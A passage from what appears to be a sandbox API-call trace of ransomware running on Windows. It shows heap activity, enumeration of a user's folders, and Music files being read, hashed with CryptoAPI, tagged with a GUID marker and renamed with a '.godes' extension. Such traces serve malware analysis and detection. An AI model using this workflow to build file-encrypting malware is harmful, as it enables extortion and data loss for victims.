dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.431] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.432] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.432] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.433] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0113.433] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.433] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.433] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.433] PathFindFileNameW (pszPath="") returned="" [0113.433] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.433] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.433] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0113.433] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0113.433] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.433] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.433] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.433] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0113.434] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.434] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.434] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.434] PathFindFileNameW (pszPath="") returned="" [0113.434] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.434] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.434] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.434] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0113.434] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0113.434] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0113.434] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0113.434] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0113.434] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0113.434] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0113.434] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0113.434] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.434] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.434] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.434] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0113.434] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.435] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.435] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.435] PathFindFileNameW (pszPath="") returned="" [0113.435] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0113.435] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.435] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.435] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0113.435] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.435] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.435] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.435] PathFindFileNameW (pszPath="") returned="" [0113.435] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96401ed0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x96401ed0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.435] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96401ed0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x96401ed0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.435] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83efa570, ftCreationTime.dwHighDateTime=0x1d4d1ba, ftLastAccessTime.dwLowDateTime=0x53319950, ftLastAccessTime.dwHighDateTime=0x1d4cc26, ftLastWriteTime.dwLowDateTime=0x53319950, ftLastWriteTime.dwHighDateTime=0x1d4cc26, nFileSizeHigh=0x0, nFileSizeLow=0x1497b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2TTN4vHH6T.wav", cAlternateFileName="2TTN4V~1.WAV")) returned 1 [0113.435] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2TTN4vHH6T.wav") returned=".wav" [0113.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2TTN4vHH6T.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2ttn4vhh6t.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.436] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=84347) returned 1 [0113.436] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.438] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.438] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.440] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1497b, lpOverlapped=0x0) returned 1 [0113.441] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.441] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.441] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.441] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.442] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.442] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.442] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.442] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.442] GetLastError () returned 0x0 [0113.442] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.442] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.442] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1497b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.442] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.442] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.443] CloseHandle (hObject=0x624) returned 1 [0113.444] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2TTN4vHH6T.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2ttn4vhh6t.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2TTN4vHH6T.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2ttn4vhh6t.wav.godes")) returned 1 [0113.444] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.444] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.445] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.445] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9ae2fc0, ftCreationTime.dwHighDateTime=0x1d4cfa4, ftLastAccessTime.dwLowDateTime=0x9995bc90, ftLastAccessTime.dwHighDateTime=0x1d4c55b, ftLastWriteTime.dwLowDateTime=0x9995bc90, ftLastWriteTime.dwHighDateTime=0x1d4c55b, nFileSizeHigh=0x0, nFileSizeLow=0x9b4b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3TE1MNOOt738p.m4a", cAlternateFileName="3TE1MN~1.M4A")) returned 1 [0113.445] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.445] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.445] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.445] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3TE1MNOOt738p.m4a") returned=".m4a" [0113.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3TE1MNOOt738p.m4a" (normalized: 